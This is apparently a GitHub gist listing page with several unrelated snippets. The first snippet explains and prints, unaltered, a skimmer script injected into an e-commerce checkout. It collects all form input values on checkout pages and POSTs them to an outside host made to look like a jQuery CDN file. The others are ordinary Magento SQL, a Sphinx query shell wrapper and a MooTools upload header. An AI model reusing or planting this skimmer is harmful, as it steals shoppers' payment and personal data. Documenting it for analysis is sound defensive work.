This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Code first checks for current URL being onepage or checkout. | |
If checks is positive all input values are sent via POST request to | |
https://cloudfusion.me/cdn/jquery.min.js | |
code unaltered below: | |
<script type="text/javascript">jQuery(function(t){t("button").on("click",function(){q="h="+window.location.href,q.match(/onepage|checkout/gi)&&(t("input, select").each(function(){t(this).val()?q+="&"+t(this).attr("name")+"="+t(this).val():""}),t.post(t("<div />").html("https://cloudfusion.me/cdn/jquery.min.js").text(),q))})});</script> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
-- we want to order attribute options by option label | |
-- the label is stored as value in table eav_attribute_option_value | |
-- order is stored in table eav_attribute_option | |
-- we therefore have to use update with multiple table syntax with a subselect as | |
-- workaround as we can't use ORDER BY in update with multiple tables | |
-- sort attribute with ID 173 by column default sorting | |
UPDATE eav_attribute_option AS o INNER JOIN ( | |
SELECT option_id FROM eav_attribute_option_value WHERE store_id=0 ORDER BY value | |
) as v on o.option_id=v.option_id, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
mysql -h0 -P9306 -e "select * from $1 where match('$2'); show meta;" |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
name: [File.Upload, Request.File] | |
description: Ajax file upload with MooTools. | |
license: MIT-style license | |
author: Matthew Loberg | |
requires: [Request] | |
provides: [File.Upload, Request.File] | |
credits: Based off of MooTools-Form-Upload (https://github.com/arian/mootools-form-upload/) by Arian Stolwijk |